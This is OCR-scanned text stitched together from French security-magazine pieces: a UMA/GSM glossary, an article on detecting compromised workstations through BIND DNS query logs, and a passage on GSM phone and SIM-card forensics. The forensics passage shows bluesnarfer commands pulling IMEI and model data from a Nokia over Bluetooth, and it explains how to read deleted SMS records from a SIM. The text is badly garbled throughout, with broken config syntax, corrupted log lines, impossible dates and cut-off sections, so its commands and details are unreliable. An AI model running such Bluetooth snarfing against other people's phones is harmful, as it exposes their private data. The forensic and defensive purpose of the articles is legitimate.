Specification d'UMA : http://www.umatechnology.org/

Glossaire

3GPP
AAA
AKA
BSC
BTS
EAP
FTTH
GAN
GERAN
GSM
HLR
IMSI
IPsec
IKE

l MS
NAI
PEAP
SIM
ULTRAN/UTRAN
UMA
UNC
Usim

3rd Generation Partnership Project
Authentication, Accounting, Authorization
Authentication Key Agreement

Base Station Controller

Base Transceiver Station

Extensible Authentication Protocol

Fiber to the Home

Generic Access Network

GSM/EDGE Radio Access Network
Global System for Mobile Communications
Home Location Register

International Mobile Subscriber Identity
IP security

Internet Key Exchange

Mobile Station

Network Access Identifier

Protected Extensible Authentication Protocol
Subscriber Identity Module

UMTS Terrestrian Radio Access Network
Unlicensed Mobile Access

UMA Network Controller

Universal Subscriber Identity Module

2004.

[RFC 3748] Extensible Authentication Protocol
[RFC 4186] EAP-SIM
[RFC 2409] IKEv2

[PEAP] PALEKAR, SIMON (A.), ZORN (D.), SALOWEY
(G.), ZHOU (J.), JOSEFSSON (H. et S.), « Protected EAP
Protocol (PEAP) Version 2 », Work in Progress, octobre |
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Mon serveur DNS, mon IDS oublié

Le Systéeme d'Information (Sl) des entreprises est un capital de ressources a protéger des attaques et, si une attaque

réussit, la compromission et les évasions de données doivent étre détectées le plus t6t possible. Pour détecter des postes

compromis sur le réseau de l'entreprise, des solutions complexes et onéreuses sont souvent proposées aux Directeurs
Informatiques (DSl), mais le plus souvent, peu de solutions de détection anti-intrusions sont effectivement en place.

Or, la bonne compréhension a la fois de son architecture et du comportement des codes malicieux présents sur les
postes compromis permet de proposer une premiére réponse élégante, peu coiiteuse et efficiente a cette problematique.

mots clés : détection d’intrusion / analyse de trafic

1. Introduction

11 Compromission de postes : une
détection, quelle détection ? ¥
Afin de securiser son Sl, une entreprise doit deployer un filirage
applicatif a base de proxies et de serveurs dédies au niveau des

interconnexions (exemples : filirage HTTP/SMTP, relais DNS) afin
de pouvoir fixer des régles de sécurité consistantes.

Cependant, une fois cette architecture deployee, la majorité des
entreprises ne semble pas se préoccuper des tentatives d'acces
direct a I'extérieur depuis un poste compromis du réseau. Elles
se reposent généralement sur les différentes alertes que peuvent
remonter les antivirus des postes et des serveurs.

Or. si les protections amont de filtrage des flux HTTP/SMTP sont
utiles, la détectlion des postes compromis est nécessaire tant sur
le plan de 'integrité des données de son SI, que sur le plan de la
responsabilité de I'entreprise qui pourrait ainsi fournir une base a
des réseaux de postes zombies. De méme, la volonté de minimiser
les risques de propagation de la compromission a un périmetre
plus important doit faire partie des objectifs du DSI.

Internet

LAN

Postes

n Architecture proxies et serveurs relais

1.2 Avoir un IDS sans le savoir

La solution ? L'analyse des serveurs d'infrastructure est un moyen
simple de connaitre les compromissions potentielles dans son
LAN. Les logs du serveur DNS et, dans une moindre mesure,
ceux du pare-feu, sont des sources de donnees disponibles pour
effectuer cette veille anti-intrusion.

Concentrons-nous sur le DNS : comment diable un serveur DNS
peut-il nous révéler les intrusions deja effectuées sur notre réseau ?
Pour le comprendre, il nous faut :

= analyser le comportement des differents types de codes
malicieux présents sur les postes compromis |

= en deduire les types de requétes DNS pouvant étre emis par
ces codes |

= en fonction de ces profils, analyser les logs du serveur DNS et
isoler les postes susceptibles d'étre compromis.

2. Architecture a base

de proxies et de relais :
un pre-requis néecessaire

Mais, attention, dans les logs d'un serveur DNS, rien ne distingue
une requéte DNS émise par un poste de celle emise par un
serveur, Le seul moyen de détecter une requéte anormale émise
par un poste est de pouvoir définir le comportement normal d'un
poste en termes de requétes DNS par rapport aux reguétes DNS
que peuvent émettre des serveurs de type proxies ou relais.

' 21 Flux vers I'iInternet :

« authentication required » !

Les flux emis vers |'Internet depuis un poste de travail sont
nombreux :

= de maniére consciente par ['utilisateur : envoi d'email, navigation
sur le web ou téléchargement de fichiers, etc. ;

= mais aussi de maniere invisible pour I'utilisateur : mise a jour du
systeme d'exploitation, rapatriement de mises a jour antivirales,
efc. .

Et je ne parle que des flux legitimes !
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Et pour étre reconnu comme legitime, I'ensemble de ces flux doit
étre soumis a autorisation. Pour cela, il faut que ces flux soient
reroutés de maniére systématique vers des equipements de
filtrage necessitant une authentification, a savoir les proxies ou
serveurs relais. Authentification que devra renseigner |'utilisateur
pour chague type de flux.

2.2 Proxies et relais, uniques

eémetteurs de requétes DNS

vers Internet
Les machines proxies ou relais se doivent, pour étre utilisées,
d'exiger de |'utilisateur une authentification. Cela se traduit par des
demandes d'identification HTTP par le proxy HTTP ou ['utilisation
de SMTP AUTH pour I'envoi de mail via le serveur SMTP de votre
entreprise. Les flux émis par les postes vers I'Internet sont alors
autorises sur la base d'une authentification, donc moins sujets a
étre vecteur d'attagues.

Serveur
DNS

Proxy

Etapes d'une requéte HTTP

Quel est le gain de cette architecture en termes de détection
d'intrusion ? Tout le trafic @mis par les postes a destination de
I'Internet est dans un premier temps redirigé vers les proxies et
relais qui vont étre alors les seuls a émettre des requétes DNS de
resolution de noms de domaines internet.

En effet, afin de pouvoir par exemple router les requétes HTTP
emises par un poste client vers google.fr (point 1 sur la figure 2),
le proxy de I'entreprise demande une résolution DNS de type A
sur le domaine google.fr (point 2) pour le compte de ce poste.
La requéte peut ensuite étre emise vers le serveur HTTP cible
(point 3).

Comme vous pouvez le voir, grace & cette architecture centralisée
et maitrisee, les logs de votre serveur DNS deviennent de
maniére meécanigue des sources fiables de données de détection

d'intrusion : toute demande de résolution DNS d'un domaine
internet émise par un poste lambda peut étre considerée comme
une alerte d'une compromission potentielle.

3. Configuration du serveur
DNS Bind

3.1 Configuration par défaut :
etat des lieux

Les configurations figurant dans cet article décrivent la configuration
d'un serveur DNS Bind et ont été testées avec un serveur Bind en
version stable 9.3.2 sous Ubuntu 6.06.

La configuration par défaut d'un serveur DNS Bind ne collecte
pas dans ses fichiers de logs les requétes emises par les clients
DNS. En effet, ces requétes peuvent générer beaucoup d'écritures
dans ces fichiers dont la taille peut donc augmenter rapidement.
Nous allons donc utiliser la gestion automatigue des fichiers de
logs fournie par Bind, gestion améliorée depuis la version 9.3 par
la presence d'une option fixant une taille maximale de fichiers de
logs. Une presentation d'une architecture DNS sécurisée abordant
les options de fogging de Bind a été faite dans un article précédent
de MISC [SECDNS].

3.2 Collecte des requétes clientes

dans les logs de Bind

Voici un exemple de définition d'un canal permettant de collecter
les requétes emises par les clients :

# Déclenchement du log des requétes au démarrage de Bind
querylog;

# paragraphe définissent Te Tegging
logging {
/! Paramétrage du canal permettant de loager les requétes
channel queriesiogs {
/f Envei des requétes vers le fichier querfes.log avec roulement
de 18 archives de 28Ho
file "queries.log" versions 18 size 20m;
/I Affiche 1a date du message dans les Tpgs
print-time yes:
/1 Affiche Te nom de la catégorie du message
print-category yes;

h

{/ Envol des requétes dans notre canal queriesiogs
categary queries { querieslogs; };

Ce paragraphe est a ajouter a la configuration du serveur DNS
cache interne de l'entreprise, serveur dont le réle est décrit dans
[SECDNS].
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Son fichier de configuration est disponible sur le site de MISC
[MISC23] sous le nom named-cache-interne.conf.

Vous trouverez enfin la documentation exhaustive des options de
log de Bind en ligne sur le site du logiciel [DOCBIND-LOG].

4. Que chercher dans
les logs ?

4.1 Topologie du comportement

réseau des codes malicieux
Un poste de travail compromis par un code malicieux a pour
vocation de devenir une source d'informations émises a destination
de serveurs externes ou une source d'attagues pouvant étre
pilotees ou non depuis Internet. Dans les deux cas, une tentative
de communication vers des serveurs externes sera initiée. Ces
serveurs peuvent étre des cibles d'attaques (spams, dénis de
services distribués}, des serveurs de contrdle fournissant des
instructions aux codes malicieux distribués ou bien des serveurs
de collecte d'informations usurpees a |'utilisateur du poste.

4.2 Requétes DNS émises par des

codes malicieux
Il existe deux grands types de requétes :

= Les requétes de type MX, émises par les moteurs d'envoi
de spams et de virus qui sont lances sur les postes une fois
compromis. Ces requétes servent a ces codes malicieux pour se
propager via email. Ce type de requéte fournit le nom et 'adresse
IP du(des) serveur(s) SMTP recevant les courriers adressés au
domaine passé en parametre.

= Les requétes de type A, représentant la majeure partie des
requétes restantes. Ces requétes peuvent alors correspondre
a des demandes de résolution de noms de futures cibles, de
serveurs de télechargement de nouveaux codes malicieux (ou de
mises a jour) ou encore de sites fournissant des ordres aux codes
malicieux (serveurs IRC par exemple).

Pour les requétes MX, on peut trouver leur trace pas plus loin que
dans sa messagerie. Exemple d'en-téte de message indésirable
dans la BAL de votre serviteur :

[

Recaived: from 288.253.154.11 (HELO data-app.com) (204.253.154.11)
by mrelayS-1.free.fr with SHTP: 14 Dec 2086 19:44:31 -2daa

Message-10:

Feply-To: "Kalpana Lo"

From: “Kalpanz Lo”

To: "Charles Chickering”

Subject: Re:

(a3

On y voit un mail émis directement depuis un poste sur l'Internet
vers le serveur MX de I'nébergeur de ma BAL. Cetle émission a
donc fait I'objet d'une demande de résolution MX pour le domaine
free.fr sur le serveur DNS du poste internet.

note

Vous retrouverez, par exemple dans la description du vers
WORM _NETSKY.D [NETSKY.D], ces requétes MX ainsi que
I'intérét d'avoir une architecture bloquant les requétes vers
des serveurs DNS externes ;-)

5. Exploitation des logs DNS

action des données

La premiére action sera de créer un fichier nommé par exemple
exclude.txt ol vous consignerez les adresses des serveurs que
vous autorisez a demander des résolutions DNS sur des domaines
internet. Le séparateur est le pipe.

Si vous avez un serveur proxy HTTP et un serveur SMTP avec
les adresses IP 152.168.0.10 et 192.168.0.11, le fichier exclude. txt
ressemble & :

192.168.9.18(192.168.8.11

Langeons ensuite les commandes egrep suivantes afin d'analyser
le fichier queries.log:

#earep -y -i
mondomaine. fr

-f path/to/exclude.txt /var/Tog/queries.log | egrep -v -f

La ligne de commandes précedente permet .

= d'isoler I'ensemble des requétes emises par les postes de
travail (premier grep) par le biais de |'exclusion (option -v) des
lignes contenant les adresses IP des serveurs consignees dans
le fichier exclude. txt ;

= d'effectuer une requéte sur un domaine différent du domaine de
I'entreprige ici nomme nondonzine. fr (second grep).

Les lignes produites par cette commande fournissent une liste
d'adresses IP ayant un compartement DNS anormal selon les
criteres decrits dans le chapiire 4

[]

22-Jan-2087 22:55:24.978 queries: client 192.168.0.190%32788: query: google,
frIN &+

22-Jan-20807 22:50:49.220 queries: clieni 192,168.08.190#32708: query: hotmail.
com IN MK +

(o]

On voit dans |'exemple ci-dessus un poste interne d'adresse |P
192.168.0.190 demander au DNS ['adresse IP de google.fr ainsi
que celle du serveur SMTP gérant le domaine hotmail.com. Or,
ces deux requétes ne devraient jamais étre eémises par un poste
du LAN, car elles portent sur un domaine different de celui de
l'entreprise.

En effet, ces deux requétes DNS devraient avoir eté émises
respectivement par le proxy HTTP et par le relais de messagerie
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de l'entreprise, ces deux machines ayant auparavant demandé son
authentification HTTP ou l'utilisateur de messagerie a |'utilisateur
du poste.

note

On peut bien entendu spécialiser cette ligne de commandes
pour obtenir soit les requétes de type MX, soit les requétes
de type A.

qui était gue toutes les communications ou tentatives de
communication vers Internet émises par les postes de travail
passaient par un proxy ou une machine relais. Or, la premiere
analyse que vous allez mener sur les données extraites des logs
de votre serveur DNS risque fort de vous mettre sur la trace de
postes langant des Windows Update plutdt gue sur celle de postes
zombies (du moins, je l'espere pour votre LAN :-) ).

Vos premiéres actions vont donc étre de travailler sur ces
mécanismes légitimes s'exécutant sur vos postes et émettant des
requétes vers I'Internet :

= Forcer le passage par proxy des actions qui le peuvent.

= Désactiver les mécanismes non necessaires ou non
conformes.

o Noter les mecanismes exécutant des connexions externes
directes afin de les exclure des remontées des logs DNS. Notez
bien que ce type de connexions devrait étre rarissime, car étant
anormal en termes de politique de sécurite.

o .—. :j._ - 0 T - _ o
5.3 Gestion des alarmes 3
La liste des adresses IP ainsi remontées par la scrutation du

fichier queries.log permet aux administrateurs des postes et au
responsable securite de declencher les actions appropriées.

Parmi elles, on peut lister les quelgues actions suivantes :

= mise hors réseau du poste incrimingé ;
= recherche du code malicieux ;

= recherche de l'explication de la compromission : mangue de suivi
des mises a jour antivirales, mise en ligne du poste directement sur
le net (ex : a domicile), contournement de la politique de sécurité
elc. ;

= remasterisation du poste avec restauration des données
sauvegardées a une date antérieure a la compromission si la date
est identifiee.

6. Limites et pistes

d'améliorations

Le processus de recherche de postes compromis gue nous venons
de decrire posséde des limites liées au fait que nous travaillons
sur le serveur DNS.

Les limites majeures viennent du fait que 'on suppose que le code
malicieux n'utilisera pas de données d'authentification dérobées a
['utilisateur du poste. Ainsi, l'emission de mails en SMTP authentifié
a travers le relais SMTP de ['entreprise ne sera pas remontée par
l'analyse des journaux, de méme que l'utilisation du proxy HTTP de
I'entreprise pour attagquer un site extérieur ou recupérer des ordres
d'un serveur de synchronisation.

La remarque que l'on peut faire est que la majorité des codes
malicieux sont congus pour travailler sur des architectures ouvertes
(DNS/SMTP/HTTP ouverts vers I'extérieur).

6.2 Pistes d'amélioration

Elles sont de deux ordres : exploitabilité de la solution et
consolidation des données DNS avec les tentatives d'accés direct
a l'extérieur par adresses IP.

Améliorer I'exploitabilité de cetle solution consisterait a travailler sur
l'enchainement des opérations de recherche dans les fichiers de
logs, la rotation, la compression et la suppression de ces fichiers.

Pour ce qui est de la consolidation, il faudrait déclencher de telles
recherches sur les rejets par le firewall des requétes en provenance
de postes en plan d'adressage interne (ex : 192.168.0.0/16) a
destination d'adresses externes (vers l'Internet donc).

Conclusion

Comme nous venons de le voir, une architecture qui permet
de bien maitriser les flux de données couplée a une analyse
des logs de son (ses) serveur(s) DNS permet de disposer
d'une sonde de détection de postes compromis. Cette
solution a l'avantage d'étre légére, non structurante et...
gratuite | Cela n'empéche en aucun cas le RSSI ou le DSl de
doter I'entreprise de solutions plus globales, mais aussi plus
intrusives, complexes et chéres ;-).
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Les standards de la téléphonie cellulaire sont nombreux : GSM, CDMA, GPRS (version améliorée du GSM), EDGE (idem), etc. ll est
evidentqu'il n'est pas possible de tout couvrir dans cetarticle. Nous ne parlerons donc que de la norme GSM (Global System for Mobiles).

mots clés : forensics / téléphone portable / carte SIM

Cette norme est la plus utilisée de par le monde. Plus des deux
tiers des pays ont adhére a ce reseau. Ce dernier est compose
d'une infrastructure opeérateur et d'émetteurs-récepteurs mobiles,
les {eléphones GSM.

Les télephones GSM sont composés de deux éléments : |e
terminal GSM (le téléphone a proprement parler) et la carte SIM
(Subscriber Identity Module). Le téléphone est inutilisable sur
le réseau GSM g'il n'est pas équipé d'une SIM enregistrée chez
l'opérateur du réseau.

Dans cet article, les procédures et protocoles de mission a
appliquer lors d'une analyse forensigue (dans le cas d'une
expertise judiciaire par exemple) ne sont pas decrites. Seules les
méthodes d'acquisition des données sont expliguées, en passant
ouire les problémes de code PIN, de verrouillage, et autres, lors de
la saisie du téléphone. Les données qui nous intéressent sont

= les données de la carte SIM ;
= les donnees du terminal GSM ;
= les données de l'opérateur téléphonigue.

En pratique, les donnees de l'opérateur téléphonique ne sont pas
accessibles sauf sur commission rogatoire.

Pour les donnees de la carte SIM et du télephone, i existe deux
méthodes d'acquisition : materielle et logicielle. Nous parlons
d'acquisition mateérielle dans le sens ou un materiel tiers va agir
sur le composant électronigue du terminal ou de la carte SIM, et
d'acquisition logicielle lorsqu'un ordinateur connecté au télephone
et muni d'un logiciel adéquat suffit & récupérer les donneées.

Le terminal GSM

Linconvenient du terminal GSM est sa grande diversite. Combien
de fabricants et combien de modeles existe-t-il sur le marche ?
Difficile de chiffrer. Il n'existe donc aucun standard, aucune
meéthode génerique pour acquérir les données, sachant que
chaque fabricant peut implémenter ses propres fonctionnalités.
Cette regle s'applique aussi pour des terminaux issus du méme
fabricant.

Les différents types de mémoire

La principale question gu'un analyste forensic peut se poser est Ia
suivante : est-il possible de récupérer des donnees effacées sur
un terminal GSM ? Tout est guestion de memoire en realité. Il en
existe deux categories : les mémoires volatiles type RAM et les
memoires non volatiles type Flash.

Concernant la RAM, toutes les données de |la mémoire sont
perdues en cas de coupure de courant. La mémoire contient des
données aléatoires lorsqu'elle est remise sous tension.

La RAM est adressable en lecture/écriture octet par octet. Ses
avantages sont les suivants : la lecture et |'écriture sont trés
rapides, le nombre de lectures/écritures est illimité, et il n'est pas
nécessaire d'effacer la mémoire avant d'écrire dedans.

L'extraction des donnees doit étre realisee avec le plus grand soin
pour en eviter la perte totale. En plus de la batterie principale, il y
a souvent un condensateur sur la carte mére qui assure quelques
minutes d'autonomie. Malgre cela, la memoire est souvent perdue
lorsque |'appareil n'a pas eté connecte au secteur pendant quelgues
semaines (car, il ne s'éteint jamais complétement, donc consomme
du courant).

Concernant la Flash, ces memoires sont adressables octet par
octet, mais ne peuvent étre effacées que secteur par secteur
(1 secteur = 4096 octets en général). L'opération d'effacement
est colieuse en temps (plusieurs millisecondes) et en energie.
Elle est generalement effectuée en tache de fond ou juste avant
une reecriture.

De plus, le nombre de cycles d'écriture par secteur est limite
(1,000 pour les premieres generations de Flash, plutét 1,000,000
maintenant) a cause de la dégradation physigue du composant.
Du coup, le systéme de fichiers utilisé évite en général de réutiliser
trop souvent les mémes secteurs.

note

Merci a Nicolas Ruff pour toutes ces précisions.

Aujourd'hui, les terminaux GSM utilisent de plus en plus de
memoire Flash (dont la capacite augmente au fil des années) pour
enregistrer des données. Etant donné que l'effacement de la Flash
n'est en géneral pas réalisé tout de suite pour les raisons vues
précédemment (durée de l'opération et usure des composants),
il n'est donc pas surprenant que des données puissent étre
recuperees.

Les mécanismes d'allocation « intelligente », permettant de limiter
I'usure des composants, ont été discutés sur [DAILYDAVE]
recemment.

Acquisition logicielle des données

Les donnees du terminal ou ME (Mobile Equipment) qui peuvent
étre retrouvees dans la mémoaoire flash sont les suivantes :

= les données propres au terminal : systéme d'exploitation, eic.
(phone software) ;

= les données propres a l'utilisateur : parametres du téelephone,
calendrier, SMS, etc.

Comme pour toute acquisition de données (avec les disques durs
par exemple), l'acces direct au matériel est beaucoup plus efficace.
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En effet, I'acquisition logicielle dans le cas des terminaux GSM
ne permettra pas de recuperer |a totalite de sa memoire (dans
laguelle, il peut subsister potentiellement des données effacées
par exemple), sauf a connaitre d'éventuelles commandes de
« debogage » propres a chague modele.

La théorie
L'acquisition logicielle des donnees necessite une liaison entre le
telephone mobile et l'ordinateur, et un outil permettant de récupérer
les données sur le terminal.

La liaison peut étre de plusieurs types :

= liaison série (un cable spécifique est alors nécessaire) ;
= liaison infrarouge (ou Irda) ;

= liaison Bluetooth ;

= liaison USB.

La recupération des données se fait ensuite principalement via
trois protocoles (qui ne sont pas forcement disponibles sur chague
terminal GSM) : les commandes AT Hayes, le protocole OBEX et
le protocole FBUS.

Le jeu de commandes AT Hayes a été concu au départ pour le
pilotage de modems de la marque Hayes. || est devenu par la
suite une norme. Ses commandes ont été implementées par
les fabricants dans les terminaux GSM, et des commandes
supplementaires ont été créées pour permettre la récupération des
annuaires, des historiques d'appels et des SMS (Short Message
System).

D'un point de vue forensic, ces commandes s'avérent trés utiles
puisqu'elles permettent de recupérer des données non disponibles
pour un simple utilisateur, comme l'identifiant unigue IMEI
(International Mobile Equipment Identity). Malheureusement,
ces commandes accéedent forcément a la mémoire du terminal
et personne ne connait I'impact exact gu'elles peuvent avoir en
termes d'integrite. Autre inconvénient, certaines commandes AT
sont propres au fabricant. Il est donc necessaire de récupérer les
documents de conception pour les connaitre [NOKIAAT].

Le protocole OBEX (OBject EXchange) est connu surtout pour les
problemes de sécurité liés a la pile Bluetooth des mobiles. C'est un
protocole d'echanges d'objets (vCard, vCalendar, images, sons...).
Via ce protocole, il est possible d'enregistrer et de lire des données
dans la mémoire du télephone.

Le protocole FBUS est un protocole propriétaire du fabricant Nokia.
lIfonctionne de la méme maniére qu'OBEX ou les commandes AT
sur un systéme de questions/reponses, mais semble cependant
plus complexe. |l permet notamment le transfert de données
(historique d'appels, SMS, calendrier...). Aucune documentation
sur ce protocole n'a eté officiellement publiee a ce jour.

La plupart du temps, chague téléphone portable est fourni avec un
logiciel qui permet d'extraire les données du téléphone notamment
pour faire des sauvegardes. Nokia par exemple fournit le logiciel
Nokia PC Suite. Seulement, ces outils ne sont pas destinés au
depart a des analyses forensiques, les données présentes dans
la mémoire du terminal peuvent étre altérées.

Il existe ensuite des outils commerciaux qui se disent outils
forensics pour mobiles (Mobiledit, Oxygen, XRY...), mais tous sans
exception utilisent les liaisons et protocoles standards pour extraire
les donnees avec les problémes gue nous connaissons. Certes,
l'avantage de ces outils commerciaux est leur large répertoire
de terminaux GSM qu'ils peuvent analyser, mais il existe des
méthodes alternatives remplissant les mémes fonctions comme
l'outil [TULP2G] qui est un projet open source. Son objectif
est de fournir un framework pour l'acquisition de données de
periphériques électroniques tels que les terminaux GSM.

La meilleure solution reste alors la bonne vieille console Linux et
les outils open source disponibles pour se connecter au téléphone
(via Bluetooth par exemple). Une connaissance des commandes
AT, des protocoles OBEX ou FBUS permet de récupérer toutes
les informations souhaitées. Voici un extrait de commandes AT
envoyees a un Nokia 6310i via une connexion Bluetooth :

Version du firmware:

# . /bluesnarfer -c AT+GMR -b B8:68:57:B4:37:58
deyice name; Blaat

custum cmd selected, raw output

V 5.51

blugsnarfer: release rfcomm ok

ldentifiant IMEI

# . /bluesnarfer -c AT+CBSK -b 08:68:57:84:37;58
gevice name: Blaat

custum cmd selected, raw oufput
351549885727863

bluesnarfer: release rfcomm ok

Information sur le modéle du téléphone

# . /bluesnarfer -c AT+GHM -b 80:6@:57:84:37:58
device name: Blaat

custum cmd selected, raw output

Hokia G316

Bluesnarfer: release rfcomm ok

note

Lors d'une analyse forensique, il est préférable d'entourer
le terminal GSM allume d'un matériel 'empéchant de se
connecter ou de l'isoler dans une zone ou il ne peut recevoir
de sighal GSM.

Acquisition matérielle des données

Lacquisition logicielle ne permet pas de récupérer la totalité des
données présentes sur le terminal GSM, entre autres les données
effacées et donc non visibles par le logiciel d'acquisition de
données, mais toujours présentes en mémoire. Seule 'acquisition
materielle résout le probléme.

Deux cas sont a considérer. Si le terminal GSM n'est pas pourvu
de connecteur JTAG, il peut alors y avoir deux méthodes possibles,
mais assez délicates : accéder au bus ou déemonter la mémoire.
L'accés au bus se fait avec une pince branchée sur la puce
mémoire ou par pose de sondes sur la carte. Le démontage de la
mémoire se fait au fer & souder. En revanche, si c'est de la RAM et
non de la mémoire Flash, toutes les données de la mémoire sont
perdues lorsqu'elle est mise hors tension.

N
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Dans le cas ou le terminal GSM contient un connecteur JTAG, on
accéde directement & la mémoire du terminal, a condition de savoir
fabriquer une interface JTAG (et donc d'avoir des connaissances
en électronique).

Les interfaces JTAG sont bien connues des bidouilleurs, car elles
sont souvent utilisees pour debloguer les mobiles [UNLOCK],
récuperer un modem-routeur mal flashé [OPENWRT] ou obtenir
un shell sur des équipements embarqués [FREEBOX].

A l'origine, la norme JTAG définit une méthode de test électrique
des circuits imprimés (appelée « Boundary-Scan »), decrite par
le standard IEEE 1149.1 [JTAG]. Aujourdhui, cette norme a été
considéerablement etendue (norme EJTAG). De fait, la plupart des
microprocesseurs du marché offrent une interface de débogage
matérielle sur le port JTAG, qui remplace avantageusement les
in-Circuit Emulators (ICE) disponibles dans le temps.

La carte SIM

La carte SIM (Subscriber Identity Module) est une SmartCard
qui authentifie les connexions vers les réseaux GSM et fait du
Subscriber une entité unique parfaitement identifiee sur le réseau. Le
terminal GSM sans cette carte SIM est inutilisable pour passer des
communications payantes (seul le 112 est joignable sans carte SIM).

Elle contient en général de 16 a 64 Ko de mémoire non volatile,
un processeur et un systéme d'exploitation. Les [MEGASIMS]
pourraient contenir jusqu'a 1 Go de mémoire Flash, mais ce n'est
pas pour tout de suite.

Son contenu est d'ordinaire protege par un code PIN (Personal
Identification Number) et un code PUK (Personal Unblocking
Code). Elle contient d'autres informations comme les paramétres
de |'utilisateur (langue, réseau préfére), son IMSI (International
Mobile Subscriber Identity) et sa clé secréte Ki. Ces informations
sont organisées sous forme de systeme de fichiers [ENDER] .

JFRG ROOT dir
"‘“2-553 Card serial Numbar
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31 Search Period
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|
|
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|
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|
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|
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Et comme dans la plupart des systemes de fichiers, il existe des
droits d'acces. En fonction du code saisi, l'acces a certaines zones
sera possible en lecture ou en écriture. Par défaut, |'utilisateur ne
posséde gue le code PIN, ce qui lui permet de lire la plupart des
zones sauf la clé secrete, sinon le clonage de carte SIM serait trop
simple. Pour obtenir |a clé secréte, le code PUK est nécessaire.

Acquisition logicielle

Il n'existe pas d'outil permettant d'interrcger directement la carte
SIM presente dans le terminal GSM. La seule solution qui peut
exister est une commande disponible dans le terminal GSM
permettant d'envoyer des commandes a la carte SIM. La réponse
de la carte SIM est alors renvoyée de la méme maniére. Seulement
cette commande est une option peu souvent implémentée dans
les terminaux GSM (ou alors peu documentee).

Acquisition matérielle

Le fonctionnement d'une carte SIM n'est pas le sujet de |'article.
Nous cherchons juste a acqueérir le plus simplement possible tout
en préservant l'intégrité des données. Je vous invite donc a lire le
document [ENDER] qui détaille plus en profondeur les SmartCards
et ce gu'il est possible de faire avec.

L'acquisition des données sur une carte SIM est réalisable avec
un lecteur de carte a puce de préférence avec un connecteur
SmartMouse (connecteur pour carte SIM) et un outil pour envoyer
des commandes et recevoir des données. Le lecteur de carte a
puce doit étre de préference de type Phoenix (qui correspond au
type de pinout) et connectable en port serie et non port USB.
Beaucoup d'outils publics necessitent en fait une connexion série
entre l'ordinateur et le lecteur de carte SIM. Si votre lecteur ne
permet pas d'utiliser un port COM virtuel (VCom) qui consiste a
emuler un port série dans un port USB, vous aurez tres peu d'outils
a votre disposition.

Quels outils choisir ? Nos tests ont ciblé la maniére de recupérer
les Short Message Service (SMS) effacés et ils nous ont permis
de conclure que les outils commerciaux qui vantent la possibilite
de recuperer des SMS effaces sont... inutiles ou presque.

Pour essayer de comprendre. les tests suivants ont ete effectues
a l'aide d'un Sagem my201X et d'un Nokia 6310i :

= Envoi et réception d'un SMS sur le Sagem. La carte SIM est
ensuite mise dans le Nokia : aucun message dans le dossier Sent
ou Received. Le Sagem enregistre donc les SMS dans le terminal
GSM et aucun menu disponible pour I'utilisateur ne permet de
modifier cette configuration. C'est a nouveau le terminal GSM qu'il
faut investiguer.

= Envoi et réception d'un SMS sur le Nokia. La carte SIM est
ensuite mise dans le Sagem : un message est présent dans le
dossier Received, mais rien dans le dossier Sent. La encore aucun
menu sur le Nokia ne permet de changer cette configuration.

L'enregistrement des SMS sur la carte SIM depend du terminal
GSM. Certains terminaux acceptent d'enregistrer les SMS
envoyes et regus sur la carte SIM, d'autres seulement les SMS
recus et d'autres aucun. Rien ne permet de predire lors d'une
expertise forensique que la totalité des SMS est sur la carte.
L'outil d'acquisition de SMS peut alors étre inutile. D'autant plus
que l'enregistrement des SMS sur une carte SIM depend aussi de
la capacité de cette derniére. Scuvent une quinzaine de messages
peuvent seulement étre sauvegardés sur celle-ci, le reste étant a
nouveau sur le terminal GSM.
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Admettons maintenant que des SMS présents sur la carte SIM dans
le dossier Received ont été effacés. Comment les récupérer ?

Le SMS a une longueur de 176 octets dont le format est le suivant :
le premier octet correspond au statut du message. le reste (appelé
aussi TPDU pour Transport Protocol Data Unit) correspond aux
données et contient entre autres le numéro émetteur du message,
la date et le texte. Le statut d'un SMS peut prendre les valeurs
suivantes :

= 0x00 : SMS inutilisé ;

= 0x01: SMS lu;

= 0x03 : SMS non lu ;

= 0x05 : SMS envoye ;

5 0x07 SMS non envoye.

Quand un SMS est effacé, seul son statut est modifié. Le
contenu est toujours présent... jusqu'a ce gu'un nouveau SMS
vienne ecraser celui margué comme effacé. A nouveau, 'outil
d'investigation peut &tre inutile.

note

Certains terminaux GSM peuvent effacer les 176 oclets plutot
que de simplement changer le statut du SMS.

Pour lire les SMS sur une carte SIM, quel que soit leur statut
et donc y compris les SMS effacés, il suffit de lire les records
(enregistrements) a |'adresse de base 7F16:6F3C (cf. le systeme de
fichiers précédent). Soit il est possible de lire le record souhaité,
avec Shcap [ENDER] par exemple, soit tous les records sont lus
en une seule fois, avec Chipit [CHIPIT].

On obtient un SMS sous cette forme avec Chipit :

f087913266894003F BR4A6913336476867F 100087R30373022304012C16R301560H
69301603018008683C 12BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFRFFRFFF
FEFFFFEFFFFFFFFFFFFFFFEFFEFEFFFFFFFFEFFFFEFEFFFFFFFFEEEFFFFFFFFFEFFFFFFF
FFEFFFEFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFEFEFFFFFF
FFFFFFEFFFFFFFFFFFFFFFEFFFEFFFFFFFFFEFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFF

Le premier octet ici 00 signifie que le SMS est inutilise. Le TPDU
esten fait encodeé en ASCII 7 bits avec un en-téte. Un décodeur est
donc nécessaire. Pour ceux gui n'ont pas le temps de programmer,
il existe Pduspy [PDUSPY]. On obtient alors :

PDU LENGTH IS 175 BYTES
ADDRESS OF DELIVERING SMSC

NUMBER 15 : +33689A084880
TYPE OF NR. : Inter nal
WPI ¢ 1SOM/Telephone (E.164/163)

HESSAGE HEADER FLAGS
MESSAGE TYPE : M5 DELIVER
M3GS WAITING IN SC » 1o

SEND STATUS REPORT : He
USER [ATA HEADER : N0 GOk
REPLY PATH : NO

(ORIGINATING ADDRESS
NUMBER 1S @ 433612345678
TYPE OF KR, International
NPT ; [50N/Telephone (E.1b4/163)

PROTOCOL IDENTIFIER [Ex8)
HESSAGE ENTITIES :
PROTOCOL USED :

SHE-t0-SME
Implicit / SC-specific

[ATA CODING SCHEME (BxB8)
AUTO-DELETION » QFF
COMPRESSION - (FF
HESSAGE CLASS . HIKE

ALPHABET USED Thit default

SMSC TIMESTAMP - 2383707 B3:22 GNT+1,00
LISER DATA PART OF SM

IISER DATA LENGTH : 18 septets (should be 169)
USER DATA (TEKT) ¢ ALARAAARAAARAAARSA

Pour les lecteurs qui se demandent comment récupérer les
numéros de teléphone effacés, c'est impossible. Le numéro
est en fait completement ecrasé par des FF. Aucune methode
